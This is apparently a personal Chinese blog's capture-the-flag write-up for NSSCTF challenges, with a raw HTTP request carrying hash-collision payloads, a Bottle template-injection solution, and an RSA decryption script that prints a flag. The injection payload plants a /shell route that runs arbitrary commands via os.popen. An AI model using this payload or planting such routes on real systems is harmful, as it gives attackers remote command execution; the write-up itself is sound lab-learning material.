POST /?file=/docker-entrypoint.sh HTTP/1.1
Host: node1.anna.nssctf.cn:28663
Accept-Encoding: gzip, deflate
Referer: http://node1.anna.nssctf.cn:28663/
Origin: http://node1.anna.nssctf.cn:28663
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 2311

a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

Message in a Bottle

SimpleTemplate 模板引擎 — Bottle 0.13-dev 文档

Bottle 框架的

给了附件📎

from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表
messages = []
def handle_message(message):
    message_items = "".join([f"""
        <div class="message-card">
            <div class="message-content">{msg}</div>
            <small class="message-time">#{idx + 1} - 刚刚</small>
        </div>
    """ for idx, msg in enumerate(message)])

    board = f"""<!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>简约留言板</title>
        <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
         <style>
            :root {{
                --primary-color: #4a90e2;
                --hover-color: #357abd;
                --background-color: #f8f9fa;
                --card-background: #ffffff;
                --shadow-color: rgba(0, 0, 0, 0.1);
            }}

            body {{
                background: var(--background-color);
                min-height: 100vh;
                padding: 2rem 0;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            }}

            .container {{
                max-width: 800px;
                background: var(--card-background);
                border-radius: 15px;
                box-shadow: 0 4px 6px var(--shadow-color);
                padding: 2rem;
                margin-top: 2rem;
                animation: fadeIn 0.5s ease-in-out;
            }}

            @keyframes fadeIn {{
                from {{ opacity: 0; transform: translateY(20px); }}
                to {{ opacity: 1; transform: translateY(0); }}
            }}

            .message-card {{
                background: var(--card-background);
                border-radius: 10px;
                padding: 1.5rem;
                margin: 1rem 0;
                transition: all 0.3s ease;
                border-left: 4px solid var(--primary-color);
                box-shadow: 0 2px 4px var(--shadow-color);
            }}

            .message-card:hover {{
                transform: translateX(10px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .message-content {{
                font-size: 1.1rem;
                color: #333;
                line-height: 1.6;
                margin-bottom: 0.5rem;
            }}

            .message-time {{
                color: #6c757d;
                font-size: 0.9rem;
                display: block;
                margin-top: 0.5rem;
            }}

            textarea {{
                width: 100%;
                height: 120px;
                padding: 1rem;
                border: 2px solid #e9ecef;
                border-radius: 10px;
                resize: vertical;
                font-size: 1rem;
                transition: border-color 0.3s ease;
            }}

            textarea:focus {{
                border-color: var(--primary-color);
                outline: none;
                box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
            }}

            .btn-custom {{
                background: var(--primary-color);
                color: white;
                padding: 0.8rem 2rem;
                border-radius: 10px;
                border: none;
                transition: all 0.3s ease;
                font-weight: 500;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-custom:hover {{
                background: var(--hover-color);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            h1 {{
                color: var(--primary-color);
                text-align: center;
                margin-bottom: 2rem;
                font-weight: 600;
                font-size: 2.5rem;
                text-shadow: 2px 2px 4px var(--shadow-color);
            }}

            .btn-danger {{
                transition: all 0.3s ease;
                padding: 0.6rem 1.5rem;
                border-radius: 10px;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-danger:hover {{
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .text-muted {{
                font-style: italic;
                color: #6c757d !important;
            }}

            @media (max-width: 576px) {{
                h1 {{
                    font-size: 2rem;
                }}
                .container {{
                    padding: 1.5rem;
                }}
                .message-card {{
                    padding: 1rem;
                }}
            }}
        </style>
    </head>
    <body>
        <div class="container">
            <div class="d-flex justify-content-between align-items-center mb-4">
                <h1 class="mb-0">📝 简约留言板</h1>
                <a 
                    href="/Clean" 
                    class="btn btn-danger"
                    onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                >
                    🗑️ 一键清理
                </a>
            </div>

            <form action="/submit" method="post">
                <textarea 
                    name="message" 
                    placeholder="输入payload暴打出题人"
                    required
                ></textarea>
                <div class="d-grid gap-2">
                    <button type="submit" class="btn-custom">发布留言</button>
                </div>
            </form>

            <div class="message-list mt-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <h4 class="mb-0">最新留言({len(message)}条)</h4>
                    {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                </div>
                {message_items}
            </div>
        </div>
    </body>
    </html>"""
    return board



def waf(message):
    return message.replace("{", "").replace("}", "")


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='localhost', port=9000)

过滤了 {}

但是 %前面必须是空白符号,那


% from bottle import Bottle,request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('cmd')).read())

访问 shell 命令执行

Cryto

1

from Crypto.Util.number import *

# 已知的值
n = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197846086151042512153782486075793224874304872205720564733574010669935992016367832666397263951446340260962650378484847385424893514879629196181114844346169851383460163815147712907264437435463059397586675769959094397311450861780912636566993749356097243760640620004707428340786147078475120876426087835327094386842765660642186546472260607586011343238080538092580452700406255443887820337778505999803772196923996033929998741437250238302626841957729397241851219567703420968177784088484002831289722211924810899441563382481216744212304879717297444824808184727136770899310815544776369231934774967139834384853322157766059825736075553
phi = 2741832985459799195551463586200496171706401045582705736390510500694289553647578857170635209048629428396407631873312962021354740290808869502374444435394061448767702908255197762575345798570340246369827688321483639197634802985398882606068294663625992927239602442735647762662536456784313240499437659967114509197784246608456057052779643060628984335578973450260519106769911425793594847759982583376628098472390090331415895352869275325656949958242181688663465437185437198392460569653734315961071709533645370007008616755547195108861900432818710027794402838336405197750190466425895582236209479543326147804766393022786785337752319686125574507066082357748118175068545756301823381723776525427724798780890160482013759497102382173931716030992837059880049832065500252713739288235410544982532170147652055063681116147027591678349638753796122845041417275362394757384204924094885233281257928031484806977974575497621444483701792085077113227851520
c = 2675023626005191241628571734421094007494866451142251352071850033504791090546156004348738217761733467156596330653396106482342801412567035848069931148880296036606611571818493841795682186933874790388789734748415540102210757974884805905578650801916130709273985096229857987312816790471330181166965876955546627327549473645830218664078284830699777113214559053294592015697007540297033755845037866295098660371843447432672454589238297647906075964139778749351627739005675106752803394387612753005638224496040203274119150075266870378506841838513636541340104864561937527329845541975189814018246183215952285198950920021711141273569490277643382722047159198943471946774301837440950402563578645113393610924438585345876355654972759318203702572517614743063464534582417760958462550905093489838646250677941813170355212088529993225869303917882372480469839803533981671743959732373159808299457374754090436951368378994871937358645247263240789585351233
e = 65537

# 计算私钥d
d = pow(e, -1, phi)

# 解密消息
m = pow(c, d, n)

# 将数字转换回字节
flag = long_to_bytes(m)

print(flag.decode())

--->

[Running] python -u "g:\down\demo\demo.py"
NSSCTF{W0W!!_Y0u_4r3_g00d_G03!!!}

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

550
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计